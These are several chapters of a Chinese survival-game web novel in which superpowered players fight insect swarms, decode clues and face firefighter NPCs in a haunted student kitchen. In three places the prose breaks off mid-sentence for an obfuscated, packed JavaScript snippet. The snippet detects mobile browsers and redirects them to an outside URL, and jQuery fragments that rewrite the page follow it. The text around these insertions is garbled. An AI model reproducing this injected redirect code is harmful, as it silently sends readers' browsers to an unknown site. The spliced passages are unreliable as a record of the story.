季祝火甚至有闲心注意到自己背后的动静,跟她说着话。 “弱点在...”应凌心刚想说出自己的发现,被一声轻响打断。 “啪。” 季祝火伸出右手,大拇指在中指的指节碾过。 末端微微发卷的头发无风自动,乌黑的发丝中几抹亮眼的红色映上应凌心的瞳孔。 随着清脆的一声响指,几粒微小的火星被同时爆破。看不见什么大的火光,只是低调而凶狠地爆裂着。 先前坚硬的甲壳不堪一击地被炸碎,看不出一点原先的形状,虫子细微的叫声戛然而止。 两只庞大的虫子,就这样利落地碎成了渣滓,没有发出一点声响。 季祝火回头微微一笑:“这是我的异能,怎么样,跟我的名字很搭吧?” 跟她这个人也很搭,低调而明媚,在一瞬间就能迸发出蓬勃的生命力。 名字中就带有火焰的女孩回头看着她,微红的光流转在她黑色的眼眸中,溢出暖融融的温度。 事实上,很久以后的应凌心,依旧会时不时想起此刻眼前这一幕。 而此刻的应凌心满心欢喜——芜!队友好厉害! 她搓了搓手,转身又看向最开始刷出怪的地方。 是不是没了?应凌心想着,总不能再翻几倍吧——这点空间装不下那么多大虫子。 确实没再有更多的大虫子出现了。 一道黑影从她的余光处出现,应凌心侧头去看,是刚才打开的装着方便面的橱柜。 一条黑色的线从敞开的柜子内流出,密密麻麻的吱嘎声,杂乱地响起。 线越来越粗,越来越长,缓缓掉到了地上。 应凌心呼吸一滞。 这不是线。 拇指大小的黑色虫子,像黑色的浪潮,向她们涌来。 应凌心试探着向外铺开了雷网,向上升了几次电压,直到堪堪把满地的虫子击杀,尸体铺在地摊上,黑压压的一大片。 数以万计的虫子源源不断地从柜子里涌出,踩在它们同伴的尸体上,窸窸窣窣地前进着。 哪怕是在季祝火的帮助下,好几轮下来,虫子的攻势也没见削减。 这该死的虫子到底有多少只啊? 应凌心的后脑开始微微发麻,她咬着牙,试图去想眼前局面的破解之法。 其她玩家呢?来救一下啊! . 其余四位玩家,除了站在应凌心对面旁观的莫问天,剩下三人先前都在卧室内找线索,听到响声出来,一直站在后面看着。 “我们是不是要去帮忙啊...”安依依柔柔弱弱地提问。 “要去你去啊,在这里装什么好人。”另一个男玩家横了他一眼,估摸着眼前两人的异能,内心开始算计。 他从余光里瞄到一道眼神。 瞳孔静静地融在黑沉的瞳仁内,看不到什么光泽,深不见底。 庄不观看不出什么情绪,只是静静地看着。 男人却寒毛卓竖,不敢说出一句话。 他愣了愣,感觉自己丢了面子,骂骂咧咧地找补,问她看什么看。 庄不观吝啬地微微转动了一下眼珠。 “你会在这个副本死去。” 她预言道。 22. 留子的厨房(四) 虫子。 好多的虫子。 到处在爬的虫子。 一波接一波的虫子。 打也打不完,杀也杀不完的虫子。 大部分的虫子都在攻击下被化成了灰,小部分只是死掉了,没能粉碎的尸体躺在地面上,静静地等待着下一轮虫子踏上来。 虫子的尸体摞了一层又一层,一层又一层,这么扁的虫子,摞在地上厚厚的一大片,比她脚踝都要高了。 偶尔有些虫子不会落在地面上,而是爬到灶台上、柜子上,甚至天花板上。 黑压压的一大片,应凌心的雷网偶尔会被她延伸着遍布整个房间,大部分时间是季祝火在精准地击杀到处都是的漏网之鱼。 打到最后,应凌心人都有点麻了。 她机械地抬手、铺网、放电、灭虫,然后等着下一波虫子来势汹汹的进攻。 和她的精神一样发麻的是她的后脑。 再这样下去,异能耗尽只是时间问题。 应凌心虚虚握了握手,感觉她好像遗漏掉了什么。 后脑隐隐的作痛拖慢了她思考的速度,不断被迫搜寻遗漏的虫子,快节奏的进攻让她难以分心思考。 该死的,这关到底怎么过啊?! 她暴躁地劈着几撮逃脱雷网攻势的虫子,听着季祝火在一旁喃喃自语:“这么半天了这虫子怎么还不见少?” 从头开始捋起。 虫子怎么来的?她想去够橱柜里方便面时冒出来的。 所以应该是为了保护方便面存在的。 虫子从哪儿来的?从有方便面的橱柜里。 关上橱柜应该就没了。 她又一次挥手,新一波虫子在雷压下被碾成灰。 但然后呢? 她没有拿到方便面,现在看样子也拿不到了——一坨一坨的虫子从里面挤出来,她总不能连带着方便面一块劈了吧? 那她们吃什么?冰箱里的老人头吗? 她们已经打了这么长时间了,现在中途放弃,再想拿方便面,还得从第一关重新开始打起吗?沉没成本就这样丢掉了吗? 又一波虫子在诞生后又被消灭。 应凌心感觉自己的后脑开始隐隐作痛,额头微微冒汗。 再这样下去不是办法。 异能耗尽不说,她们要没时间了——她们得在规定时间内做完饭! 是在即将抵达的终点前半途而废,从而前功尽弃;还是在可能错误的方向上一去不复返,倾尽所有最后只撞了个南墙? “看这个趋势,一时半会消灭不完它们,可能是为了消耗我们时间准备的。” 季祝火低声提醒,“我们可能要考虑换个方向。” 应凌心咬咬牙,再撑三轮、或者五轮。 万一呢,万一下一波就是最后一波了呢? 万一她这么半天过去后离胜利近在咫尺了呢? “砰——” 比几轮虫子的死亡来得更快的是一个空矿泉水瓶。 没带什么犹豫地被投掷着砸向半开着的橱柜,柜门被撞得合拢上。 很大的力道。 原本还在到处乱爬的虫子们像是被删除掉的数据,凭空消失,连带着先前无数虫子的尸体,仿佛从来没有出现过。 只有应凌心消耗的精神力没回来,她估计了一下,只剩不到三成了。 莫问天伸出去的手还没收回来,刚才她从身旁装满了矿泉水瓶的纸箱里掏了一瓶出来,直直地扔向了橱柜。 此刻只是静静地看着,沉默地对上应凌心的眼神。 应凌心感受着右手若隐若现的酥麻,一时不知道自己该不该质问对方。 她心里其实也觉得这样耗下去行不通,但她已经耗了这么久,又没有更好的方向,只能硬着头皮接着耗着。 一切发生得太快了,她根本来不及思考跟权衡。 而先前一直在旁观的莫问天就这样把她的沉没成本转手扔掉了。 虽然不是莫问天的错,但她的时间和七成多的精神力就这样打了水漂,没有换来任何东西。 她忍不住地感到有些烦躁,如果之前玩家都来搭把手,她就不至于这么被动地消耗掉大半精神力了。 搞得跟就她和季祝火需要吃饭一样! 应凌心深呼吸几下,感觉脑海中还在被先前虫子嗡嗡的叫声盘踞着。 她到底还是没说什么,看着周围的几个玩家,缓了缓神:“现在该怎么办?” 或者,同样重要的:“还剩多长时间?” . 庄不观掏出来一张纸条:【我好饿啊,我得做饭,冰箱里的菜再不做就要烂了。】 “橱柜门被关上的那一瞬间从我视线中心掉落下来的。” 旁边两个男玩家侧目:他们怎么没看到? 好吧,看来没有别的办法,得想办法用冰箱里的食材做饭。 ...如果她早五分钟看到这个纸条,可能就不会干耗着奋力杀虫了。 应凌心偷瞄了一眼莫问天,对方把纸条正反面都看了看,没什么大反应。 算了,当务之急是找到新的方向。 应该是有什么办法,找点能吃的食材做成菜。 应凌心回忆冰箱里的物品,实在不行,只能去一个一个翻那堆诡异的塑料碗了——虽然可能会有奇怪东西蹿出来的风险。 “你们呢,有没有找到纸条?” 莫问天询问一旁的两个男玩家。 白二应激地大喊:“我没有!” 也不知道是在说谎,还是天生就防御过度。 应凌心眯了眯眼,根据之前的规律,第5张纸条应该也是时间类,写还剩50分钟。 当然,也可能这个规律会被改变。 跟庄不观说的纸条隔了两分多钟,差不多在这个时间也该出来了——时间流速正常的话。 虽然她刚才高强度使用异能作战,几轮过去就已经估计不出究竟有多长时间。 但怎么着也得比五分钟多了吧——还要算上一开始翻橱柜的时间。 除非跟虫子厮杀的时候时间流速不一样...勉强算个支线? 反正再过几分钟,总会再看到新的时间更新,大概。 私藏一个没有信息量的纸条没太大意义,除非他有这方面的什么能力,或者难道是副本的间谍,来扰乱她们视线的? 应凌心揣测着,感觉除了坐等可能会刷新的线索外,还是得再回屋里找找线索。 她刚向前迈了半步,余光中飘过一道白影,紧接着她突然被推开,如果不是她反应快,下一秒就要磕在灶台的棱角上。 ? 啥玩意? 应凌心由着季祝火把她扶稳,所剩不多的精神力在指尖流窜,她以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099163|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又有新的怪莫名其妙地冒了出来。 是男玩家。 白二看到自己视野中心忽然冒出来的纸条,大喜过望的同时如同惊弓之鸟,一把把纸条攥在手里,推搡着靠近他的玩家,生怕自己宝贵的线索被夺走。 ...... 她收回之前的无端猜测,这么蠢当不了间谍。 应凌心摇了摇头,纸条的出现已经印证了她的一大半猜测,就算现在看不到纸条的内容,之后有足够多的纸条,也能验证规律是不是正确的。 除非只有一轮的线索——那样只能到时候再想办法抢了。 下面就看收到的下一条信息有没有用了。 她拉着季祝火走向卧室,打算再找找线索——就这点地方,说不定还会有新的线索被刷新。 其余玩家也没有理会,四散开来找线索,只有另一个男玩家低声问:“哥,你拿到了什么纸条?” “哥”犹犹豫豫地给他看。 【我好饿啊,得做饭了,要不然再过50分钟我就要饿死了。】 “居然只过了5分钟!”男玩家低呼一声,被狠狠地瞪了一眼。 安依依小心翼翼地道着歉,眼睛向卧室门口瞄去。 先前那个雷电异能者抱着胳膊,看到他的眼神,挑了挑眉,转身进了屋。 真是的,什么反应嘛,安依依撇撇嘴,她不会没听到吧? 客厅就这点空间,应凌心离得不远,听得清清楚楚。 男玩家一脸“看我给你提供了多么重要的信息,快夸我”的表情,拙劣中带着一些微微的愚蠢。 ...不管怎么说,虽然再等一阵就能知道,但现在可以直接验证也挺好。 应凌心把情报告诉已经开始翻纸箱的季祝火和庄不观,两人“嗯”了一声,都不太意外。 她把满地的矿泉水瓶向外踢了踢,蹲下去看桌下堆的大大小小的纸箱,愣了愣。 咦? 好像多了一个箱子。 之前应凌心草草地翻过这些箱子,有的里面只是被团成团的空白 A4 纸,有的干脆是空的。 她还怀疑纸团的数量有没有什么隐喻,蹲在地上吭哧吭哧数了一下。 因此她也记得,桌子下总共就4个纸箱子。 现在桌下有5个。 可能是别人搜房间的时候把箱子乱摆了。 她把靠墙的纸箱子搬了出来——当然要先看多出来的那一个。 里面是大大小小的信封,都已经开封了。 最大的估摸着都有 B3 那么大了,从顶部被裁开,可以看得出拆信的人不太会用壁纸刀,裁痕断断续续。 里面装着很多小纸条,应凌心拿手轻轻掂了掂,有点分量——对于纸来说。 她随机抽出了一张,是个收据,上头写着【Walnut Supermarket】 榛子,不对,核桃超市? 她简单扫了一眼,有些东西的英文不太认识,不过算价格的时候标注了重量,估计跟她认识的那几条一样,都是买的菜。 小票已经破破烂烂的了,表面摸起来有点油腻腻的。 她看了眼购买日期,【Feb. 29th, 2024】 2月29号,哦对,24年是闰年。 “你看这个。” 季祝火略带一些凝重的声音从耳边响起。 23.留子的厨房(五) “你看这个。”季祝火手里拿着一个本子,“我从床底下找到的。” 这个本子被藏在了床下木板的缝隙里。 应凌心接过本子,草草翻了起来,全是空白页。 她老老实实翻开了第一页。 【2023.9.2】 【终于把行李都收拾完了!累坏了哈哈哈】 【一直在收拾东西,躺在床上感觉腰一直在疼...】 【下周就开学了,明天要去参加新生会,期待!】 【还没见到舍友,她说她要过几天再搬进来,希望可以成为朋友嘿嘿】 【周围有好多饭店啊,还有中餐店!就是味道不咋样,还要给小费,啊啊啊好贵!】 【路上有好多老外,新鲜(虽然对她们来说我才是老外,哈哈哈哈)】 看起来是本日记,应凌心逐渐期待起来,经典线索本。 屋主人的字写得还不错,洋洋洒洒地写了满满一页,她接着往下看,下一次写已经是一个月后了。 【2023.10.1】 【今天去超市买了点菜,这洋人超市绿叶菜太少了,全是奇奇怪怪的菜,还是得去中超。】 【天气真差,每次回来鞋里都进水,袜子湿哒哒地黏在脚上,冷!】 【国内在放假,老妈打电话问我学校放不放假,我说你再想想你们是因为啥放假的呢?】 【今天做点好吃的,犒劳下自己!】 【2023.10.18】 【啊啊啊啊啊我的 Reading Week!!!!!!】 【怎么就这么过去了!!!】 【还我 Reading Week!!!!!】 【我补药考期中呜呜呜呜】 【放假是真的不想动弹,这两天都没咋吃东西,好饿好饿...】 啥是 Reading Week 啊...阅读周?看上下文,估计是一种假期了。 好多的感叹号,好吵闹的文字——但如果是因为假期快没了,好吧,人之常情。 应凌心捻了捻纸,翻到了下一页,空白。 再下一页,空白。 后面全是空白的纸张。 合着这日记只写了一页啊? 应凌心疑惑地看向季祝火,就这? 季祝火把本子轻轻合起来,示意她看纸张的侧面。 通常来说,人可以从本子的侧面观察出本子被使用的程度。 如果大部分页数都被写了字,字迹的厚度、频繁的翻动,都会让原本紧密的纸张间产生微小的间隙,侧面变得不再齐整。 眼下的这本也是。 一页页纸张不规则的微小起伏,堆叠在一起,略显蓬松,任由空气在其中穿梭。 单是看外表,这本子至少被写了三分之二,甚至更多。 只是沿着老旧的纸翻开,看到的是空白的纸张,平整得过了头。 “你不觉得,之后这个本子上的内容可能会被刷新吗?” 季祝火捻了捻本子的第二页——空白的一页。 “只有第一页写了东西,写的是我们现在的处境。这可能是个线索本。”——日记的最后说她好饿。 “我感觉房间里也有点变化,可能本子也会有变化。” 有道理。 应凌心点点头,告诉她自己新发现的一大堆小票,之前也不在这个房间里。 这破系统的副本怎么老爱打信息差啊? 应凌心掂了掂本子,本子其实很薄,轻飘飘的,感觉不出什么重量。她把本子还给了季祝火。 本子里线索不多,但至少是个好的开始。 看来还是得搜罗线索,她估摸着那堆信封里的小纸条说不定也隐藏着什么信息。 “那个...”被刻意放轻的男声从她耳边响起。 男玩家手里攥着一个纸条,见她看过来,涨红了脸,扭扭捏捏地递给她。 【今天是2024年3月15日。】 嚯。 应凌心挑了挑眉。 “这线索感觉非常关键啊。” 一旁的季祝火也看到了,若有所思,“谢谢你分享给我们。” 恭喜季祝火同学获得年度善心大使奖。 应凌心在心里无端发散了一句,回忆起自己之前看的小票。 半个月,说长不长,说短不短。 要说屋主人在半个月内把买的菜全吃完,然后在冰箱里塞满了人体部件,听着时间有点太紧凑了。 她脑补了一下留学生马不停蹄地做饭、吃饭、刀人、分尸、装冰箱的场景,莫名觉得有些喜感。 两居室,说大不大,说小不小。 有什么大动静都在玩家们眼皮底下,但真要有什么线索,还得多迈几步才能传达给所有人。 先是另一个男玩家两手空空地钻了进来,接着是莫问天,站在卧室门口,没进去。 几人挤在小小的卧室里,肩挨着肩,别说接着找线索了,转个身都费劲。 应凌心:...副本是没内存了吗,就不能把地图搞大点吗? 她硬是挤到了门口,吸了两口新鲜空气,向莫问天更新了情报。 莫问天没说什么,递过来一张纸。 看着像是一张问卷。 【冰箱里有什么?】 一个潦草的冰箱冷藏区内物件的示意图,歪歪曲曲的铅笔痕把上三层分隔开,下面两个半透明抽屉被小一号的两个框画了出来。 旁边打印着一大串果蔬的名字,像是备选的选项,一个接一个罗列着。 所以是选择题...?依据是什么?外形吗? 应凌心回忆了一下冰箱里的东西,对照着问卷上的选项,隐隐有些猜测。 噢,小票和表明时间的线索应该就是这么用的——根据小票上购买的物件的时间,再对照冰箱里尸体腐烂的情况...大概? 应凌心决定去好好翻一翻那堆小票,鬼知道填错了有没有第二次机会,还是小心一点得好。 她说着自己的思路,想把问卷还回去——毕竟是人家找到的。 莫问天没接,也没低头看。 她的目光越过应凌心头顶的发旋,和卧室内女人黑沉的瞳仁对上。 庄不观走出了卧室,没有细究她们手中的东西,一侧身,径直走向了冰箱。 莫问天去房间内拿了一支笔,也没有理会周围人的询问,叫也叫不回来。 ...能不能有点团队精神? 应凌心没办法,把推测分享给了其余几人,然后开始整理起大信封里零零散散的小票。 还好她懂点英语,以及屋主人后来大部分时间都是去中超购物——上面会打中文。 季祝火蹲在地上跟她一块捡小票,然后推测着答案。 她们俩的猜测基本上吻合,不过对于第三层的怪东西和最下层的那堆婴儿头,仅仅是推测,谁也不确定。 “要是多点试错空间就好了。”应凌心嘟囔了两句,她从小到大靠运气蒙题总是蒙错。 说起来,其她人呢? 有点麻烦,但毕竟是要填问卷,谁知道填错了会怎么样,还是得跟别的玩家们商量一句。 只见莫问天蹲在敞开的冰箱门口,庄不观站在一边看着,两个人在小声交谈着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100713|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ...这又是在做什么? 看到莫问天低头在纸上写着什么,应凌心忽然意识到一个问题。 总共有多少份问卷? . 莫问天在填第三张空白的问卷,之前填废了两张,如果这张也错了,就只剩两次机会了——前提是给应凌心的那份还没有被乱填。 大部分根据形状都很好猜。 一堆皱纹的人头是圆白菜,托盘上的大眼球是鸡蛋,截面有空洞的是藕,透明盒里发白的舌头是豆腐,一袋子手指是小胡萝卜。 至于不透明的那堆塑料盒...问卷上没问,她猜测是吃剩的外卖。 再下一层的东西她起初不是很拿得准,是庄不观告诉她的。 血浆是牛奶——变了质的,肠子是大葱,红细绳编织的网里的肉球是洋葱。 “你怎么知道的?” 虽然能解释得通,但凭什么庄不观这么笃定? “看到的。” 女人深色的眼珠看不出什么光彩,“我的异能。” “哦,厉害。” 那剩下几个通明抽屉里的东西排列组合,试也能试出来了。 神棍对她的反应似乎不太满意,神经兮兮地问她,“你相信命运吗?” “没有意义吧。” 她刚在第一张问卷上落下最后一个字,一瞬间,问卷上浮现一个血红色的大叉——猜错了。 莫问天把写废的问卷垫在最后,开始填第二张。 “为什么没有意义?” 神棍问她时语气似乎没有多少疑惑,像是在单纯走个流程。 “命运能被改变吗?” 莫问天手上的笔没有停,“能改变的话,知道它有什么意义?” “不能改变的话,知道了又有什么意义?” 第二张也答错了,她不紧不慢地开始写第三张。 “如果有命运的话,我信或不信,都是命运的一部分;没有命运的话,我信或不信,都只是一念之差。” “对我来说没有区别。” 对你来说有区别吗? 莫问天没有问出声,毕竟她其实不是很感兴趣。 更重要的是,她看到应凌心气冲冲地走了过来。 “你们还剩几张问卷?” 应凌心瞄到了她手里写废的问卷,看着有点生气,但也没直接指责,只是问还有几次试错的机会。 莫问天站起身,关上了冰箱门。 “不重要了。” 她把填好的第三张问卷递给了应凌心,绿色的印刷字体要求玩家把冰箱门关上后再重新打开。 她拉开了冰箱门。 满满当当的食物,堆在冰箱里,果蔬味和腐烂腥臭味混合在一起,缓缓地弥漫在房间里。 她这次写对了。 . 应凌心:...有一种回到大学被迫跟一群陌生同学做小组作业的憋屈感。 有像莫问天这样我行我素的,也有坐享其成的。 比如迅速冲过来的男玩家。 只见白二硬挤到冰箱前,端详起食材,拉开了左边的半透明抽屉。 几个圆滚滚的西红柿,旁边躺着几个发了芽的土豆。 应凌心觉得哪里有点不对劲。 男玩家伸手就要拿。 “别...”还没等应凌心阻止,就被一声杀猪般地嚎叫声打断。 男玩家捂着方才触碰到西红柿的手,痛苦地翻滚着,大半个手像是被腐蚀,丑陋地流着脓水。 哦对。 应凌心反应过来。 她看到的那些小票上没有西红柿啊。 24.留子的厨房(六) 男玩家抢着去拿冰箱里的西红柿,被侵蚀得半个手都腐烂了。 应凌心马上意识到,有些食材是没有在小票上写出来的——尤其是半透明抽屉里的那一堆东西。 先前一直上锁的另一个卧室,因为根本进不去,被她们下意识地忽略了。 这是一个两居室——两个人合租的房子。 冰箱应该是公用的,除了屋主人以外,还有她在日记上说的“过几天就会搬进来”的舍友。 不是所有食材,都能够被她们拿来吃的。 应凌心快速地把眼前的食材在脑中比对着,第一层和第三层的食物都在小票上出现过。其余的虽然有一两个也在小票上出现过,但如果合租的两个人不熟,应该会默契地把各自放食物的区域分开。 保险起见,还是选一三层的食物比较好。 但冰箱里的食材真的能吃吗?应凌心看了看恢复正常的食材,深深地怀疑着。 第一层的圆白菜,不知道放了多长时间,长了一层白白的绒毛。 旁边的鸡蛋碎了一个,腐臭的蛋液流得到处都是。 第三层的牛奶已经凝成了酸奶,葱蔫巴巴地耷拉着,角落里的洋葱皱皱巴巴的。 应凌心想了想,又拉开了右手边的半透明抽屉。 一个长满了绿毛的橘子,污染着其余几个邻近的橘子。 梨、苹果、李子...圆滚滚的水果腐烂得面目全非,汁水淌在抽屉底部,随着她的抽动溅起水花。 有一种呼吸也会被感染的危险感。 应凌心屏住呼吸,又把抽屉推了回去。 她刚想说什么,余光看到有什么东西在动。 顺着看过去,发现是那些白塑料碗,估计是打包盒。 冰箱昏暗的灯照下来,投出碗里的阴影。 阴影在动。 像是波浪,表面一扭一扭地,在碗里翻涌着。 劁。 劁劁劁劁劁劁劁劁。 这他爹的不会是蛆吧?! 一冰箱的蛆。 一碗又一碗的蛆,或者其它不知名的虫子,被囚禁在一次性塑料碗里,互相缠绕着团成团,不知疲惫地蠕动着。 整个冰箱都不能要了。 可以的话,整个房间都应该丢掉。 遗憾的是不可以。 “咦,那是蛆吗?” 季祝火在一旁分析,“冰箱里还能长蛆,还长这么多,这也太夸张了。是不是中途断电了?跳闸了?” 莫问天接过话:“就算生了蛆,现在冰箱这么冷,还能活得这么精神,真神奇,可能是在副本里产生抗体了。” ...只有她有点想吐吗?应凌心觉得有点恶心。 她定了定神,试图转移自己的注意力:“有人再收到纸条吗?” 如果还有新一轮的纸条,纸条发放的顺序不变的话,她应该是第三个。 这么一折腾肯定有十分钟了,但她没有收到纸条。 看样子,别的玩家也没有。 比起时间流速变慢,更有可能的是她们不再有新一轮的提示了。 那该怎么确定时间?她们甚至没办法确定时间流速是不是正常的。 “看来这之后的线索会以新的形式出现了。”季祝火把找到的笔记本给众人传阅。 上面更新了一页,准确来说,更新了两行。 【2024.3.15】 【今天吃洋葱炒蛋!】 所以...她们要吃洋葱炒蛋? 几人交换了下意见,时间可能不多了,得尽快行动起来。 应凌心小心翼翼地去拿洋葱,手没烂,她舒了口气。 季祝火拿了几颗鸡蛋——她挑挑拣拣一阵,挑出了唯三没有裂痕的鸡蛋。 ...谁来炒? 几个人面面相觑。 “那个,我来吧。”男玩家弱弱地举起了手,“我会做一点饭。” 那行。 说到饭,是不是还得蒸米饭? 会不会来不及?应凌心后知后觉。 “米饭17分钟后好。”莫问天在一旁说,指了指正在工作的电饭煲。 ! 应凌心这才注意到:“你什么时候煮上饭了?” “在我过了五分钟发现没有新一轮纸条的时候。”女人耸了耸肩,“十五六分钟前。” 电饭煲上的电子屏在应凌心看过去的时候正好从17变成了16,莫问天解释,“倒计时,刚开始是30,淘米估计花了一两分钟。” ...天才啊。 应凌心暗暗懊恼,她之前光顾着埋头找线索,还是太短视了。 这么一算,大概还有半个小时的时间。 安依依洗完洋葱,开始剥洋葱皮。白嫩纤细的手指上沾满了洋葱液,一双圆润的眼睛泛着红,闪着泪花,像兔子一样。 季祝火在一旁帮忙把鸡蛋倒进碗里,挑了双筷子搅起蛋液。筷子反复敲击在碗上,发出清脆的响声。 应凌心溜回卧室扫了一眼,似乎没有什么新线索,又溜了回来,此时菜已经备好了。 男玩家从橱柜里翻出一口炒菜锅,手里攥着炒菜的铲子,紧张地说他要开始炒了。 白二从鼻腔哼了一声,但想想自己刚才手上的手还是他给治疗的,没有再骂人。 男玩家小心翼翼地拧开灶台的开关,等着锅烧热。 其余几人站在后面看着,等待着潜在的危险。 “你相信命运吗?” 应凌心听到声音愣了愣,扭过头来,才确定庄不观是在问她。 “我吗?”好玄乎的问题,“你怎么定义相信,怎么定义命运?” 们数学人遇到问题首先需要确认定义。 “...你听到问题时的下意识以为的定义。”庄不观看着有点无语,“这是个开放性问题。” “下意识啊...”应凌心想了想。 哈哈,下意识是取决于你怎么定义命运和相信。 她的目光在庄不观的发簪上停留了一阵,木头深深浅浅的纹理流淌在上面。 “有点信?” “可能也不能说信,我只是觉得有宿命论成立的可能性。” 应凌心看到对方对她的话提起兴趣,揣摩着庄不观的异能,猜测自己接下来的话会不会让她失望。 “但我不信人类可以观测到命运。” “人类太渺小了啊。” “命运这么宏大的东西,我不觉得有任何人能够参悟。” 庄不观愣了一下,看着有点失望,点了点头。 所以不是预测未来的异能? 应凌心眯了眯眼,别人的相信对她的异能来说很重要? 也可能是她想多了,毕竟没什么关联的线索,应凌心决定收一收自己的无端推测——没准人家只是单纯好奇呢? 男玩家把手探到锅上,等能感觉到一些热度了,拎起放油的铁壶,缓缓倒入油。 没过多久油也热了,冒出微微的热烟。 他搅拌着倒入蛋液,橙黄色的蛋液在触碰到油的瞬间发出刺啦刺啦的响声。 鸡蛋液边缘冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109028|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起金黄色的气泡,一鼓一鼓地传递着热气,鸡蛋的焦香味瞬间弥漫在整个房间中。 翻炒几下,炒熟的鸡蛋被盛出来,金灿灿的,看着嫩滑得恰到好处。 紧接着,放入先前被切好的洋葱。 锅里余下的油噼里啪啦地响着,很快洋葱被炒软,应凌心闻到了洋葱香,咽了咽口水——时间剩得不多,她们开始隐隐约约地感到饿了。 男玩家又把之前炒定型的鸡蛋放了回去,撒了一把盐,又淋上了一圈酱油,快速地翻炒着。 刺啦啦的油声传入每个人耳中,仿佛回到小时的午后,迷迷糊糊地醒来,听见家人做菜的声音。 热烟带着菜香窜入每个人鼻中,好像她们不是在危机四伏的副本,而是被烟火气带回了某个遥远的、平静的一天傍晚。 应凌心忽地感到一丝不安,神经被眼下祥和的景象麻痹,她迟钝地感觉自己好像忘了些什么。 是什么呢? 热气袭向她的眼睛,应凌心忍不住眨了眨眼。 余光瞄见一抹微小的绿光。 那是什么?她抬头去看。 “哔——!哔——!哔——!” 刺耳的警报声,在一瞬间响起,灌进每个人的耳朵。 “哔——!哔——!Fire!” 警报的末尾是电子女音在机械地读出英语单词。 “哔——!哔——!哔——!” 应凌心感觉耳膜被暴起的声音震痛,音源正来自她刚才看的方向。 天花板上,一个不起眼的装置在不断尖叫着发出巨响,吵得人心烦意乱,无法思考。 “哔——!哔——!Fire!” 警报的每一次响声开始伴随着强烈的白光,一次次地闪动,人的视野因为间歇的强光开始有残影。 最先反应过来的是季祝火,拉开怔愣住的男玩家,关上了灶台的开关,把锅移到了一侧没有被加热的线圈上,然后飞快地打开抽油烟机的开关。 “哔——!哔——!哔——!” 抽油烟机嗡嗡的风扇声被尖锐的警报声覆盖着。 紧接着是莫问天,径直冲到客厅的另一侧,推开了先前紧闭着的窗户。 “哔——!哔——!Fire!” 应凌心也反应过来,是天花板上的烟雾警报器被触发了。 她眯着眼睛,在闪烁的白光下强撑着盯向头顶的电器。 一股电流飞速地从她指尖冒出,流入装置的电路接口,在一瞬间将其熔断。 “哔——!哔...” “...” 让人心慌的警报终于消停下来,只有抽油烟机还在嗡嗡作响,以及她还在高速跳动的心脏,让应凌心的耳膜隐隐作痛。 季祝火关掉了抽油烟机的开关,莫问天也关上了窗户——防止多一个刷怪渠道。 房间里恢复了安静,在场的每一个玩家却依旧精神紧绷。 她们不相信只是响个警报吵吵她们这么简单,更像是新的危险被触发。 果不其然,短暂的寂静后,一阵杂乱的敲门声响起。 从副本开始就紧闭的大门外,传来一句询问。 “Hello?” 紧接着,是更重的一阵拍门声。 没有人去开门,每个玩家都在全副精神地戒备着。 “Do you have the key?” 你有钥匙吗? "Aha! Thanks." 啊哈,谢了。 门锁的转动声缓缓响起。 25.留子的厨房(七) 烟雾警报器停下后,几个玩家戒备地看着房门。 “咔哒。” 门外的人在敲了一阵门后,不知从哪儿得来了钥匙,门锁□□脆地拧开。 三个穿着消防制服的NPC挤进了房间。 打头的外国人个子很高,进门时低了低头,再抬起头时,眉骨阴影下的一对眼睛直直地看了过来。 应凌心下意识抓了抓手。 很奇怪的眼睛。 没有瞳孔,没有光亮,只是单纯的墨绿色,像是两张被纯色填充的圆片。 圆片骨碌碌地转动着,高大的女人飞快地说着英语。 “You kids triggered the fire alarm, eh?” 你们这帮小孩儿弄响了火警,对吧? 应凌心看了看NPC手里的消防斧,在脑中权衡着她们该不该承认。 消防员们却没给她们选择的余地,叽里呱啦几句,又转头看向她们。 领头的女人露出爽朗的笑容,墨绿色的圆片被挤成两只月牙。 “That would be 2,000 dollors. How would you like to pay?” “2000刀,你们打算怎么支付?”季祝火低声翻译道。 “Cheque, tomorrow.” 支票,明天。 应凌心画起大饼,反正等明天她们就不在这个副本里了。 “Sorry, we don''t accept cheques.” 抱歉,我们不接受支票。 消防员摇着头,说着抱歉,看起来没有一点抱歉的意思。 “Just send us the bill. That''s the normal procedure, right?” 莫问天语速飞快地说道。 就把账单寄给我们吧,这是常规流程,不是吗? 发的还是英音,洋气啊。应凌心不合时宜地想着。 消防员摇摇头,下了决断:“You''re going to pay in cash.” 你们将用现金支付。 她们上哪儿找现金啊? 至少上次应凌心搜查卧室的时候,没有找到任何现金。 她皱皱眉,刚想说点什么讨价还价,只见对面的女人一抬手,抡起了手里的消防斧。 